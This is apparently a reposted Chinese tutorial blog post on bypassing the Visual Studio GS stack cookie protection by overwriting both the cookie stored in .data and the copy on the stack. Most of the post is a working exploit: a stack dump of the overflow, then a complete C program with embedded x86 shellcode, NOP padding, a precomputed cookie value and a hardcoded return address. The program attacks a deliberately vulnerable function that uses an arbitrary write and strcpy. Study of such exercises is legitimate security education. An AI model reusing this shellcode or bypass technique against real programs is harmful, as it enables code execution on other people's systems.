同时替换.data与栈中的Cookie突破GS

原理简述

替换.data中保存的数值为0x909090,替换栈中的数值为0x909090 xor ebp(所在函数帧的),溢出“正面绕过”GS

main函数特点:距离ret近,而且有三个参数

gs过程1,gs原理简述。从.data中取出cookie(cookie_ori),运算之后放入栈中成为cookie_now,这里cookie_ori在.data中的存放地址是0x40b004,放入栈中0x12ff5c。反汇编指令如下图。

gs过程2,修改.data中的cookie,反汇编如下:

之前的.data

之后的.data

gs过程3,修改栈中的cookie(cookie_now = cookie xor
cookie_ori),考的是溢出,溢出是通过strcpy,这里的strcpy函数反汇编如下图。

栈溢出之前的状态

栈溢出之后的状态

CPU Stack
地址          
数值         注释
0012FE7C  
00407A62  ; 从返回 ntdll.RtlEnterCriticalSection 自 gs3.00407A62

0012FE80   0012FE90
0012FE84   0012FF68

0012FE88   0040BE98
0012FE8C   0040B004

0012FE90   90909090     ;这里是shellcode中保存的.data数值
0012FE94   0A6A68FC  
 ;从上一句开始是shellcode的开头了
0012FE98   63681E38

0012FE9C   684FD189
0012FEA0   0C917432

0012FEA4   7E8DF48B
0012FEA8   B7DB33F4

0012FEAC   66E32B04
0012FEB0   533233BB

0012FEB4   65737568
0012FEB8   D2335472

0012FEBC   305A8B64
0012FEC0   8B0C4B8B

0012FEC4   098B1C49
0012FEC8   AD08698B

0012FECC   380A6A3D
0012FED0   9505751E

0012FED4   95F857FF
0012FED8   3C458B60

0012FEDC   78054C8B
0012FEE0   598BCD03

0012FEE4   33DD0320
0012FEE8   348B47FF

0012FEEC   99F503BB
0012FEF0   3A06BE0F

0012FEF4   C10874C4
0012FEF8   D00307CA

0012FEFC   3BF1EB46
0012FF00   751C2454

0012FF04   24598BE4
0012FF08   8B66DD03

0012FF0C   598B7B3C
0012FF10   03DD031C

0012FF14   5F95BB2C
0012FF18   3D6157AB

0012FF1C   1E380A6A
0012FF20   DB33A975

0012FF24   65776853
0012FF28   66687473

0012FF2C   8B6C6961
0012FF30   505053C4

0012FF34   FC57FF53
0012FF38   F857FF53

0012FF3C   90909090
0012FF40   90909090

0012FF44   90909090
0012FF48   90909090

0012FF4C   90909090
0012FF50   90909090

0012FF54   90909090
0012FF58   90909090

0012FF5C   90826FF0
0012FF60   90909090

0012FF64   0012FE94     ;这里是被溢出的返回地址(shellcode所在地)

 ;shellcode结束

提醒

原文除了从malloc返回地址与.data中cookie的差值需要重新计算外,shellcode中的0x909090 xor ebp
之后的值也应该修改,因为ebp不同的系统差异造成值不一样。

纪念一下


 1 /***名称:替换.data与栈cookie突破GS************/
2 /***编译条件:vs2010,禁止优化选项,release版本***/
3 /***实践:Hualian***************************/
4
5 #include<stdafx.h>
6 #include<string.h>
7 #include<stdlib.h>
8
9 char Shellcode[]=
10 "\x90\x90\x90\x90"
11 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
12 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
13 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
14 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
15 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
16 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
17 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
18 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
19 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
20 "\x53\x68\x69\x61\x6e\x22\x68\x48\x75\x61\x6c\x8B\xC4\x53\x50\x50"//\x66\x61\x69\x6C
21 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\xF0\x6F\x82\x90"
25 "\x90\x90\x90\x90"
26 "\x94\xFE\x12\x00"//\x91\x91\x91\x91
27 ;
28
29 void test (char *s, int i, char *src)
30 {
31 char dest[200];
32 if(i<0x9995)
33 {
34 char *buf = s + i;
35 *buf = *src;
36 *(buf + 1) = *(src +1);
37 *(buf + 2) = *(src +2);
38 *(buf + 3) = *(src +3);
39 strcpy(dest,src);
40 }
41 }
42
43 void main()
44 {
45 char * str = (char*)malloc(0x10000);
46 printf("look");
47 test(str, 0xFFFFAFBC/*待确定*/,Shellcode);
48 }


同时替换.data与栈中的Cookie突破GS

时间: 2024-11-09 05:55:48

同时替换.data与栈中的Cookie突破GS的相关文章

栈中的守护天使GS

开启GS编译项后,会对栈帧进行一些改变,将字符串变量移到栈帧的高地址,将指针参数和字符串参数复制到内存中低地址,在栈帧的EBP后压入一个随机的Security Cookie,同时在.data字段中也存在相应的值用于对比,实际上两个值是与EBP异或得来的. 突破GS可以有虚函数(需要找到pop pop ret的指令).SEH等方法,这里着重介绍同时替换.data中与栈中的值,还是需要用到数组溢出,向前溢出修改.data中的值,向后溢出修改栈帧内的返回地址和Security Cookie.

011实现一个栈,除了push和pop操作,还要实现min函数以返回栈中的最小值,时间复杂度都为O(1)(keep it up)

实现一个栈,除了push和pop操作,还要实现min函数以返回栈中的最小值. push,pop和min函数的时间复杂度都为O(1). 看到这个题目最直接的反应是用一个变量来保存当前栈的最小值,让我们来看看这样可行否? 如果栈一直push那是没有问题,入栈元素如果比当前最小值还小,那就更新当前最小值. 可是如果pop掉的栈顶元素就是最小值,那么我们如何更新最小值呢?显然不太好办. 既然只用一个变量没法解决这个问题,那我们就增加变量.如果说每个结点除了保存当前的 值, 另外再保存一个从该结点到栈底的

Javascript中关于cookie的那些事儿

Javascript-cookie 什么是cookie? 指某些网站为了辨别用户身份.进行session跟踪而储存在用户本地终端上的数据(通常经过加密).简单点来说就是:浏览器缓存. cookie由什么组成? Cookie的形式: Cookie是由name=value形式成对存在的,Cookie字符串必须以分号作为结束符,Cookie除了name属性之外还存在其他4个相关属性. 设置Cookie的语法如下: set-Cookie:name=value;[expires=date];[path=d

RTB竞价中的cookie mapping技术

首先通过一些关键词解释普及或者回顾一下背景, ADX: Ad exchange的简称.一般特指Ad exchange平台模块 DMP: Data Management Platform的简称.DMP存储了流量.受众的各种特征信息. DSP: Demand Side Platform的简称.可以看做流量的购买方,为广告主服务.广告主可以通过DSP购买流量,达到营销的目的.DSP可以接入ad exchange中,参与cpm竞价,购买所需要的受众流量. SSP: Supply Side Platfor

Selenium2学习-017-WebUI自动化实战实例-015-获取浏览器中的 cookie 信息

日常我们在使用浏览器时,尤其是登录 WEB 应用时,我们的一些信息其实是保存在了浏览器的 cookie 信息中.我们可以通过浏览器自带的开发工具,进行查看相应的 cookie 信息,例如在火狐.chrome 中均可通过 F12 打开开发者工具打开.以下截图为在 chrome 中打开易迅网时的 cookie 信息: 若是小主您登录了相应的网页应用,cookie 中还会含有您的一些用户信息内容.那么这些 cookie 信息在我们日常 WebUI 自动化脚本的编写过程中有什么用途呢 ? 可以作为网页打

一、实现一个特殊的栈,在实现栈的基本功能的基础上,再实现返回栈中最小元素的操作

请指教交流! 1 package com.it.hxs.c01; 2 3 import java.util.Stack; 4 5 /* 6 实现一个特殊的栈,在实现栈的基本功能的基础上,再实现返回栈中最小元素的操作 7 */ 8 public class GetMinStack { 9 10 public static void main(String args[]) { 11 GetMinStack demoStack = new GetMinStack(); 12 demoStack.pus

[算法]求栈中最小元素

如何用O(1)的时间复杂度求栈中最小元素 解题思路: 我们经常会采用空间换取时间提高时间复杂度.我们可以使用两个栈结构,一个栈用来存储数据,另一个栈用来存储栈中的最小元素.思路如下:如果当前入栈的元素比原来栈中的最小值还小,则把这个值压入保存最小元素的栈中:在出栈时,如果当前入栈的元素恰好为当前栈中的最小值,保存最小值的栈顶元素也出栈,使得当前最小值变为其入栈之前的那个最小值. 实现代码如下: package 求栈中最小元素; /** * 用链表方式实现栈 * @author dream * *

将FragmentManger事务添加到返回栈中

FragmentManger事务添加或替换的 Fragment 后,这时点击 Back 键,程序并不会返回添加之前的状态. 我们可以使用 Transaction 对象的 addToBackStack() 方法,将事务添加到返回栈中,这样点击 Back 键时,就会返回该事务执行前的状态. /* * 在事务提交前,将事务添加到返回栈中 * 参数String name:接收一个名字用于描述返回栈的状态,一般传入 null 即可. * */ transaction.addToBackStack(null

IM开发基础知识补课(四):正确理解HTTP短连接中的Cookie、Session和Token

本文引用了简书作者“骑小猪看流星”技术文章“Cookie.Session.Token那点事儿”的部分内容,感谢原作者. 1.前言 众所周之,IM是个典型的快速数据流交换系统,当今主流IM系统(尤其移动端IM)的数据流交换方式都是Http短连接+TCP或UDP长连接来实现.Http短连接主要用于从服务器读取各种持久化信息:比如用户信息.聊天历史记录.好友列表等等,长连接则是用于实时的聊天消息或指令的接收和发送. 作为IM系统中不可或缺的技术,Http短连的重要性无可替代,但Http作为传统互联网信